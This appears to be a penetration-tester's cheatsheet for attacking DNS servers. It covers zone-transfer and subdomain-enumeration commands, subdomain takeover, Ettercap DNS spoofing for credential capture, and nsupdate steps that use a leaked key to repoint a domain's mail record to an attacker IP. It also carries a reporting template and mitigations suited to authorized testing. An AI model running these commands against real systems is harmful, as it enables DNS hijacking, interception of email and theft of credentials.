🛡️ Methodology Checklist

  • Banner grab and version: nmap -p 53 --script dns-nsid [TARGET]
  • Zone transfer attempt: dig axfr [DOMAIN] @[TARGET]
  • ANY record: dig ANY [DOMAIN] @[TARGET]
  • Subdomain brute-force via target: fierce -dns [DOMAIN] --dns-servers [TARGET]
  • DNS cache snooping: dig @[TARGET] [DOMAIN] A +norecurse
  • Check for CVE-2020-1350 (SIGRed) if Windows DNS
  • dnscmd injection (if DnsAdmins): see AD_Privileged_Access

🎯 Operational Context

Use when: DNS service is exposed — attempt zone transfers, cache poisoning, subdomain enumeration, and DNS amplification misconfiguration checks. Think Dumber First: Try zone transfer first — it takes 5 seconds and some admins forget to restrict AXFR. dig axfr @[NAMESERVER] [DOMAIN] — if it works you get the entire zone file. Skip when: DNS is only visible internally and you already have internal access with a better pivot.

⚡ Tactical Cheatsheet

CommandTactical Outcome
sudo nmap -p53 -Pn -sV -sC [TARGET_IP]DNS service version scan
dig AXFR @[NAMESERVER_IP] [DOMAIN]Attempt zone transfer for full DNS dump
dig axfr @[TARGET_IP] hr.[DOMAIN]Zone transfer against specific subdomain zone
fierce --domain [DOMAIN]Automated zone transfer + subdomain enumeration
./subfinder -d [DOMAIN] -vPublic subdomain enumeration (OSINT sources)
./subbrute.py [DOMAIN] -s names.txt -r resolvers.txtInternal subdomain brute-force with custom resolver
echo "[NS_IP]" > resolvers.txtCreate resolver file for subbrute
host [SUBDOMAIN]Check CNAME — identify dangling record
dig [SUBDOMAIN] CNAMECheck CNAME record for subdomain

🔬 Deep Dive & Workflow

Ettercap DNS spoof (local MITM):

  1. Edit /etc/ettercap/etter.dns → add [DOMAIN] A [LHOST]
  2. Ettercap → Hosts → Scan for Hosts
  3. Add victim → Target 1, gateway → Target 2
  4. Plugins → Manage Plugins → activate dns_spoof

DNS Zone Transfer (AXFR) — Unauthenticated DB Dump

A misconfigured DNS server with no IP-based filtering allows any host to pull its entire zone database:

dig AXFR @ns1.[DOMAIN] [DOMAIN]

Output reveals all A/CNAME/MX/TXT records — internal hostnames, mail servers, staging environments.

Recursive zone transfer trick: The root domain may block AXFR but a subdomain zone may not. Enumerate subdomains first, then attempt AXFR on each:

dig axfr @[TARGET_IP] hr.[DOMAIN]
dig axfr @[TARGET_IP] dev.[DOMAIN]

Subdomain Enumeration Strategy

ContextToolMethod
External OSINTsubfinderScrapes DNSDumpster, VirusTotal, crt.sh
Internal pivot (no internet)subbrute.pyWordlist against internal nameserver
Automated + zone transferfierceCombines both

For subbrute on an internal network:

echo "ns1.[DOMAIN]" > resolvers.txt
./subbrute.py [DOMAIN] -s names.txt -r resolvers.txt

Subdomain Takeover

When a subdomain CNAME points to a third-party service (AWS S3, GitHub Pages, Heroku) that no longer exists, an attacker can register that resource and take control of the subdomain.

Detection:

host support.[DOMAIN]
# → support.[DOMAIN] is an alias for [DOMAIN].s3.amazonaws.com

Visit the URL. If it returns NoSuchBucket, 404 Not Found, or NoSuchKey, it may be claimable.

Impact: Victims see attacker content on an “official” domain — enables phishing, cookie theft, CSRF, CSP bypass.

Reference: can-i-take-over-xyz GitHub repo for service-specific takeover verification steps.

Mitigation: Remove DNS records immediately upon canceling any third-party service. Audit CNAMEs regularly.

Authenticated Dynamic DNS Update (RFC 2136 / leaked RNDC/TSIG key)

When a zone is configured for dynamic updates (allow-update { key "rndc-key"; }; in named.conf.local) and the key is disclosed — typically through a readable config file or an LFI/path-traversal into /etc/bind/named.conf — you can legitimately add, change, or delete records. This turns DNS from an enumeration target into an infrastructure-control primitive: repoint a record to attacker infrastructure and intercept what the environment sends there (classically a password-reset email).

Recreate the key in a local file:

cat > keyfile <<'EOF'
key "rndc-key" {
    algorithm hmac-sha256;
    secret "[RNDC_SECRET]";
};
EOF
chmod 600 keyfile

Prove control with a throwaway record, then repoint the target (e.g. the mail server):

nsupdate -k keyfile -d <<EOF
server [DNS_IP]
zone [DOMAIN]
update add fake.[DOMAIN]. 60 A [ATTACKER_IP]
send
EOF
dig @[DNS_IP] fake.[DOMAIN] A +short      # expect [ATTACKER_IP]
 
nsupdate -k keyfile <<EOF
server [DNS_IP]
zone [DOMAIN]
update delete mail.[DOMAIN]. A
update add mail.[DOMAIN]. 60 A [ATTACKER_IP]
send
EOF

Gotchas: nsupdate needs a TTL before the type (name. 60 A ip) — update add name. A ip parses A where the TTL belongs. dig ignores /etc/hosts, so verify against @[DNS_IP] directly. If the zone resets the record mid-engagement, re-apply the update in a short loop. Pair this with an attacker-side receiver (e.g. Postfix for SMTP — see Attacking_Email_Services) to capture the intercepted traffic. Worked end-to-end on Snoopy.

DNS Spoofing (Local MITM)

On a network where you can ARP poison (same subnet), Ettercap’s dns_spoof plugin intercepts DNS queries and returns attacker-controlled IPs:

/etc/ettercap/etter.dns:
  [DOMAIN]      A   [LHOST]
  *.[DOMAIN]    A   [LHOST]

This redirects all DNS resolutions for the domain to your machine — useful for credential capture or serving malicious content.

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Zone transfer returns ‘Transfer failed’AXFR restricted to specific IPsTry secondary nameserver; check if any NS accepts AXFR: dig NS [DOMAIN] then test each
dnsenum/dnsrecon returns no additional recordsZone transfer blockedFall back to subdomain brute: gobuster dns -d [DOMAIN] -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
dig returns SERVFAILDNS server not authoritativeQuery authoritative NS directly: dig axfr @[AUTH_NS] [DOMAIN] (get auth NS from dig NS [DOMAIN])
DNS rebinding attack not viableTarget not a browser-based appDNS rebinding requires browser interaction; use for web app testing only
Fierce scan too slowDNS brute taking too longUse massdns for high-speed resolution: massdns -r resolvers.txt -t A -o S wordlist.txt

📝 Reporting Trigger

Finding Title: DNS Zone Transfer Permitted — Full Zone Data Exposed Impact: Successful AXFR zone transfer exposes all internal hostnames, IP addresses, and mail server configurations, providing complete network topology for targeted exploitation without any active scanning. Root Cause: DNS server configured to allow unrestricted AXFR queries from any source IP. Zone transfer not restricted to secondary nameservers. Recommendation: Restrict AXFR to authorized secondary nameserver IPs via ACL. Audit all authoritative nameservers for transfer restrictions. Implement DNS monitoring to alert on zone transfer attempts.

🔗 Related Nodes